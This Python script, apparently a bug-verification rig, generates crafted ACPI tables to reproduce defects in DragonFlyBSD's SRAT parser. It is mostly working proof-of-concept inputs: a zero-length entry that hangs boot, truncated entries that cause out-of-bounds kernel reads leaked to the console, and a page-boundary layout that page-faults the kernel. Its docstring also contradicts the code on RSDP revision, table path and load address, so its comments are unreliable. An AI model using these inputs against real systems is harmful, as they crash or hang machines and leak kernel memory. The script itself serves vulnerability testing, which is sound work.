#!/usr/bin/env python3
"""
gen_srat.py -- craft a minimal RSDP->RSDT->{MADT,SRAT} chain for the
DragonFlyBSD acpi_srat.c pass-2 verification rig.

Injection model (DF-5430 rig, relocated to a SMAP-reserved hole: the free-RAM
#  address 0x40000000 used by the MADT rigs gets consumed by early-boot
#  kernel allocations before SI_BOOT2_NUMA reads the SRAT):
  - loader kenv hint.acpi.0.rsdp=0x40000000 is consumed by sdt_probe()
    (sys/platform/pc64/acpica/acpi_sdt.c:71) with no signature/checksum
    validation (DF-5588).
  - QEMU -device loader,file=<blob>,addr=0xBFFDD000,force-raw=on plants
    this blob in guest RAM before firmware handoff.

Blob layout (offsets relative to 0x40000000):
  +0x0000  RSDP rev 0 (-> RSDT path), RsdtPhysicalAddress = +0x100
  +0x0100  RSDT, 2 entries -> MADT at +0x200, SRAT at +0x400 (or +0x800)
  +0x0200  MADT control content (BSP + 5 APs + real QEMU IOAPIC) so the
           machine still boots SMP while the crafted SRAT is parsed
  +0x0400  SRAT (scenarios control / hang / leak)
  +0x0800  SRAT (scenario fault: ends exactly on a page boundary)

SRAT layout (ACPI_TABLE_SRAT, actbl3.h:341): Header(36) +
TableRevision(u32)@36 + Reserved(u64)@40 = 48 bytes, entries from +48.

Subtable structs (actbl3.h:370/389):
  CPU_AFFINITY (16B): Type,Len, ProxLo@2, ApicId@3, Flags@4, Eid@8, Hi@9, Clk@12
  MEM_AFFINITY (48B): Type,Len, Prox@4, Rsvd@8, Base@16, Len@24, Rsvd1@32,
                      Flags@36, Rsvd2@40

Scenarios (what srat_probe() does with them, acpi_srat.c:93-142):
  control   well-formed CPU+MEM entries -> parser prints "MemAffinity ..."
            and the machine boots normally (baseline sanity)
  hang      trailing entry with Length==0 -> the walk advance at
            acpi_srat.c:95 adds zero forever -> SILENT infinite loop at
            SI_BOOT2_NUMA -> boot never completes
  leak      last entry header (Type=1, Len=0x30) sits at table_end-2, table
            declared Length stops right after the header; the parser reads
            Prox@+4 / Base@+16 / MemLen@+24 / Flags@+36 -- all past the
            declared table end -- and kprintf()s them (acpi_srat.c:104-107).
            Marker bytes placed past the table end in the blob show up on
            the console: proof of the OOB read.
  fault     like leak, but the table's declared Length ends exactly on a
            4K page boundary; sdt_sdth_map() maps exactly
            roundup(len,4096) bytes (acpi_sdt.c:138-151 + pmap.c:6192), so
            the Flags@+36 read crosses into unmapped kernel KVA -> page
            fault during early boot (conditional: only if the adjacent KVA
            page is unmapped).
"""
import struct
import sys

BASE = 0x40000000
RSDP_OFF, RSDT_OFF, MADT_OFF = 0x0, 0x100, 0x200
SRAT_OFF_LEAKCTRL, SRAT_OFF_FAULT = 0x400, 0x800


def csum(b):
    return (-sum(b)) & 0xFF


def sdth(sig, length, rev):
    h = bytearray(36)
    h[0:4] = sig
    struct.pack_into('<I', h, 4, length)
    h[8] = rev
    h[9] = 0                    # patched later
    h[10:16] = b'DFBSD '
    h[17:21] = b'PASS'
    struct.pack_into('<I', h, 21, 1)
    h[25:29] = b'IACT'
    struct.pack_into('<I', h, 29, 1)
    return h


def lapic(pid, apic_id, enabled=True):
    return struct.pack('<BBBBI', 0, 8, pid, apic_id, 1 if enabled else 0)


def ioapic(apic_id, addr, gsi_base):
    return struct.pack('<BBBBII', 1, 12, apic_id, 0, addr, gsi_base)


def cpu_aff(prox_lo, apic_id, use=True):
    # '<BBBBI' hdr+prox+apic+flags, 'B3B' eid+hi[3], 'I' clock -> 16 bytes
    return struct.pack('<BBBBI', 0, 16, prox_lo, apic_id, 1 if use else 0) + \
        struct.pack('<B3B', 0, 0, 0, 0) + struct.pack('<I', 0)


def mem_aff(prox, base, length, flags=1):
    return struct.pack('<BBHIH6sQQIIQ',
                       1, 48, 0, prox, 0, b'\0' * 6,
                       base, length, 0, flags, 0)


def build_srat(scenario):
    """returns (srat_bytes, blob_overrides dict of off->bytes, srat_off)"""
    if scenario == 'control':
        ent = cpu_aff(0, 0) + mem_aff(0, 0x1000000, 0x10000000)
        body = sdth(b'SRAT', 48 + len(ent), 2) + \
            struct.pack('<IQ', 1, 0) + ent
        body[9] = csum(body)
        return body, {}, SRAT_OFF_LEAKCTRL

    if scenario == 'hang':
        # cpu entry, then a Type=0 entry with Length==0: acpi_srat.c:95
        # advances by 0 forever; Type!=1 so not even a kprintf -- silent hang
        ent = cpu_aff(0, 0) + b'\x00\x00'
        body = sdth(b'SRAT', 48 + len(ent), 2) + \
            struct.pack('<IQ', 1, 0) + ent
        body[9] = csum(body)
        return body, {}, SRAT_OFF_LEAKCTRL

    if scenario == 'leak':
        # declared table length = 48 + 16 + 2 = 66: the last entry header
        # (Type=1,Len=0x30) at +64 is the last declared content.  The parser
        # reads fields at +4/+16/+24/+36 of that entry -- past the declared
        # end -- from the mapped tail page.  Plant markers there.
        ent = cpu_aff(0, 0) + b'\x01\x30'
        body = sdth(b'SRAT', 48 + len(ent), 2) + \
            struct.pack('<IQ', 1, 0) + ent
        body[9] = csum(body)
        ov = {
            # entry(+64)+4  == blob 0x400+68 : ProximityDomain  (printed %u)
            SRAT_OFF_LEAKCTRL + 68:  struct.pack('<I', 0x53524154),   # 'SRAT'
            # entry+16 == blob 0x400+80 : BaseAddress (printed %016jx)
            SRAT_OFF_LEAKCTRL + 80:  struct.pack('<Q', 0xDEADBEEFCAFE0123),
            # entry+24 == blob 0x400+88 : Length (printed as N MB)
            SRAT_OFF_LEAKCTRL + 88:  struct.pack('<Q', 0x1122334455667788),
            # entry+36 == blob 0x400+100: Flags -- must have bit0 set or the
            # parser `continue`s before printing
            SRAT_OFF_LEAKCTRL + 100: struct.pack('<I', 0x00000001),
        }
        return body, ov, SRAT_OFF_LEAKCTRL

    if scenario == 'fault':
        # SRAT at +0x800, declared length 0x800 -> ends exactly at the
        # 0x40001000 page boundary; mapdev maps exactly one page.
        # Filler Type=0 entries from +48 to +0x7FE, then the truncated
        # Type=1 header at +0x7FE.  Flags read at +0x7FE+36 = +0x822 ->
        # unmapped KVA.
        fill = b''
        need = 0x7FE - 48
        fill += cpu_aff(0, 0) * (need // 16)      # 124 entries, 1984 bytes
        fill += struct.pack('<BB', 0, 14) + b'\0' * 12   # one 14-byte entry
        assert len(fill) == need, len(fill)
        ent = fill + b'\x01\x30'
        body = sdth(b'SRAT', 0x800, 2) + struct.pack('<IQ', 1, 0) + ent
        body[9] = csum(body)
        # body is now 48+1998+2 = 2048 = 0x800 exactly
        return body, {}, SRAT_OFF_FAULT


    if scenario == 'probe':
        import struct as _s
        ent = bytearray(48)
        ent[0] = 1; ent[1] = 48
        for off in (4, 12, 32, 36, 40):
            _s.pack_into('<I', ent, off, 0x01010101)
        _s.pack_into('<Q', ent, 16, 0xAAAAAAAAAAAAAAAA)
        _s.pack_into('<Q', ent, 24, 0x0000000100000000)
        ent = bytes(ent)
        body = sdth(b'SRAT', 48 + 16 + len(ent), 2) + \
            struct.pack('<IQ', 1, 0) + cpu_aff(0, 0) + ent
        body[9] = csum(body)
        return body, {}, SRAT_OFF_LEAKCTRL


    if scenario == 'spew':
        # zero-length MEMORY entry: if the walker reads our bytes it prints
        # "MemAffinity <bytes at +16>" FOREVER (self-dumping the walk-time
        # state of the table tail); if it skips (Type/Flags not ours), the
        # +0 advance still wedges silently.
        ent = cpu_aff(0, 0) + b'\x01\x00'
        body = sdth(b'SRAT', 48 + len(ent), 2) + \
            struct.pack('<IQ', 1, 0) + ent
        body[9] = csum(body)
        ov = {SRAT_OFF_LEAKCTRL + 68: struct.pack('<I', 0x5A5A5A5A),
              SRAT_OFF_LEAKCTRL + 80: struct.pack('<Q', 0xCAFEF00DF00DCAFE),
              SRAT_OFF_LEAKCTRL + 88: struct.pack('<Q', 0x0000000000800000),
              SRAT_OFF_LEAKCTRL + 100: struct.pack('<I', 0x00000001)}
        return body, ov, SRAT_OFF_LEAKCTRL


    if scenario == 'fireworks':
        # one entry per Type value 0..14, each Length=48 with an all-0xFF
        # body: whichever type the running kernel accepts will print
        # "MemAffinity ffffffffffffffff,4194303MB Prox=4294967295".
        ent = b''
        for t in range(15):
            ent += bytes([t, 48]) + b'\xff' * 46
        body = sdth(b'SRAT', 48 + len(ent), 2) + \
            struct.pack('<IQ', 1, 0) + ent
        body[9] = csum(body)
        return body, {}, SRAT_OFF_LEAKCTRL


    if scenario == 'leak2':
        # truncated mem entry header (Type=1,Len=0x30) at table_end-2; the
        # running kernel's compiled Flags offset differs from the tree's
        # actbl3.h (empirically NOT +36 and NOT +40) -- so set the whole
        # +32..+47 window (entirely past the declared table end) to 0xFF
        # while keeping recognizable markers at Prox(+4)/Base(+16)/Len(+24).
        ent = cpu_aff(0, 0) + b'\x01\x30'
        body = sdth(b'SRAT', 48 + len(ent), 2) + \
            struct.pack('<IQ', 1, 0) + ent
        body[9] = csum(body)
        ov = {SRAT_OFF_LEAKCTRL + 68: struct.pack('<I', 0x53524154),
              SRAT_OFF_LEAKCTRL + 80: struct.pack('<Q', 0xDEADBEEFCAFE0123),
              SRAT_OFF_LEAKCTRL + 88: struct.pack('<Q', 0x1122334455667788),
              SRAT_OFF_LEAKCTRL + 96: b'\xff' * 16}
        return body, ov, SRAT_OFF_LEAKCTRL


    if scenario == 'bisect':
        # six well-formed Type-1 Length=48 entries; entry i has 0xFF only in
        # the 8-byte window [8*i, 8*i+8); zeros elsewhere. The set of
        # entries that print identifies where the running kernel reads the
        # enabled-flags from.
        ent = b''
        for i in range(6):   # windows [2,10) [10,18) [18,26) [26,34) [34,42) [42,48+)
            e = bytearray(48)
            e[0] = 1; e[1] = 48
            w = 2 + 8*i
            e[w:w+8] = b'\xff' * 8
            ent += bytes(e)
        body = sdth(b'SRAT', 48 + len(ent), 2) + \
            struct.pack('<IQ', 1, 0) + ent
        body[9] = csum(body)
        return body, {}, SRAT_OFF_LEAKCTRL


    if scenario == 'map':
        # single Type-1 entry: FF at [2,10) passes the runtime gate; then
        # distinct u64 markers at [10,18) [18,26) [26,34) [34,42) and u64
        # 0x55.. at [40,48) -- the printed Prox/Base/Length values reveal
        # the running kernel's compiled field offsets.
        e = bytearray(48)
        e[0] = 1; e[1] = 48
        e[2:10] = b'\xff' * 8
        struct.pack_into('<Q', e, 10, 0x1111111111111111)
        struct.pack_into('<Q', e, 18, 0x2222222222222222)
        struct.pack_into('<Q', e, 26, 0x3333333333333333)
        struct.pack_into('<Q', e, 34, 0x4444444444444444)
        struct.pack_into('<Q', e, 40, 0x5555555555555555)
        ent = bytes(e)
        body = sdth(b'SRAT', 48 + len(ent), 2) + \
            struct.pack('<IQ', 1, 0) + ent
        body[9] = csum(body)
        return body, {}, SRAT_OFF_LEAKCTRL


    if scenario == 'bitprobe':
        # entry i: Length=48, ProximityDomain@2 = i (self-identifying via the
        # "Prox=%u" print), and exactly ONE 0xFF byte at offset 2+i. The
        # entries that print reveal exactly which byte (and hence which bit
        # of which field) the running kernel's enabled-gate reads.
        ent = b''
        for i in range(46):
            e = bytearray(48)
            e[0] = 1; e[1] = 48
            struct.pack_into('<I', e, 2, i)
            e[2 + i] = 0xff
            ent += bytes(e)
        body = sdth(b'SRAT', 48 + len(ent), 2) + \
            struct.pack('<IQ', 1, 0) + ent
        body[9] = csum(body)
        return body, {}, SRAT_OFF_LEAKCTRL


    if scenario == 'leak3':
        # REAL OOB-read repro for the RUNNING (packed-struct) kernel:
        # last entry header (Type=1, Len=0x30) at declared table_end-2.
        # The kernel reads (packed layout, actbl3.h #pragma pack(1)):
        #   Prox u32@+2, Base u64@+8, Length u64@+16, gate u32@+25..28
        # -- ALL past the declared table end.  Markers planted there make
        # the console print itself the leak proof.
        E = SRAT_OFF_LEAKCTRL + 48 + 16     # entry header abs offset (+64)
        ent = cpu_aff(0, 0) + b'\x01\x30'
        body = sdth(b'SRAT', 48 + len(ent), 2) + \
            struct.pack('<IQ', 1, 0) + ent
        body[9] = csum(body)
        ov = {E + 2: struct.pack('<I', 0x53524154),          # Prox marker
              E + 8: struct.pack('<Q', 0xDEADBEEFCAFE0123),  # Base marker
              E + 16: struct.pack('<Q', 0x1122334455667788), # Length marker
              E + 28: b'\xff\xff\xff\xff'}                # gate bits
        return body, ov, SRAT_OFF_LEAKCTRL


    if scenario == 'fault3':
        # SRAT at +0x800 with declared Length 0x800 -> ends exactly at the
        # 0x40001000 page boundary; sdt_sdth_map() maps exactly one page.
        # Truncated Type-1 entry header at end-2; its gate read (+25..+28)
        # crosses into unmapped kernel KVA -> page fault during early boot.
        fill = cpu_aff(0, 0) * 124 + struct.pack('<BB', 0, 14) + b'\0' * 12
        assert 48 + len(fill) == 0x7FE
        ent = fill + b'\x01\x30'
        body = sdth(b'SRAT', 0x800, 2) + struct.pack('<IQ', 1, 0) + ent
        body[9] = csum(body)
        ov = {0xFFE + 2: struct.pack('<I', 0x53524154),
              0xFFE + 8: struct.pack('<Q', 0xDEADBEEFCAFE0123),
              0xFFE + 16: struct.pack('<Q', 0x1122334455667788),
              0xFFE + 25: b'\xff\xff\xff\xff\xff\xff'}
        return body, ov, SRAT_OFF_FAULT

    raise SystemExit('unknown scenario ' + scenario)


def build(scenario):
    # MADT control content: 6 LAPICs (QEMU -smp 6) + the real IOAPIC
    madt_ent = b''.join(lapic(i, i) for i in range(6)) + ioapic(0, 0xFEC00000, 0)
    madt = sdth(b'APIC', 44 + len(madt_ent), 3) + bytearray(8)
    struct.pack_into('<I', madt, 36, 0xFEE00000)
    struct.pack_into('<I', madt, 40, 1)
    madt += madt_ent
    madt[9] = csum(madt)

    srat, ov, srat_off = build_srat(scenario)

    # RSDP revision 2 -> XSDT path (64-bit entry pointers, required for
    # the above-4G blob address; sdt_probe() dispatches on Revision at
    # acpi_sdt.c:109-115 and sdt_search_xsdt() reads u64 entries)
    rsdt_len = 36 + 16
    rsdt = sdth(b'XSDT', rsdt_len, 1) + bytearray(16)
    struct.pack_into('<QQ', rsdt, 36, BASE + MADT_OFF, BASE + srat_off)
    rsdt[9] = csum(rsdt)

    rsdp = bytearray(36)
    rsdp[0:8] = b'RSD PTR '
    rsdp[8] = 0                    # v1 checksum (unchecked by sdt_probe)
    rsdp[9:15] = b'DFBSD '
    rsdp[15] = 2                   # Revision 2 -> XSDT path
    struct.pack_into('<I', rsdp, 16, 0)                # RsdtPhysicalAddress
    struct.pack_into('<I', rsdp, 20, 36)               # RSDP Length
    struct.pack_into('<Q', rsdp, 24, BASE + RSDT_OFF)  # XsdtPhysicalAddress
    rsdp[32] = 0                   # extended checksum (unchecked)

    blob = bytearray(0x1100 if scenario.startswith('fault') else 0x1000)
    blob[RSDP_OFF:RSDP_OFF + len(rsdp)] = rsdp
    blob[RSDT_OFF:RSDT_OFF + len(rsdt)] = rsdt
    blob[MADT_OFF:MADT_OFF + len(madt)] = madt
    blob[srat_off:srat_off + len(srat)] = srat
    for off, b in ov.items():
        blob[off:off + len(b)] = b
    return bytes(blob)


if __name__ == '__main__':
    out = sys.argv[2] if len(sys.argv) > 2 else '/dev/stdout'
    data = build(sys.argv[1])
    with open(out, 'wb') as f:
        f.write(data)
    sys.stderr.write('%s: %d bytes\n' % (sys.argv[1], len(data)))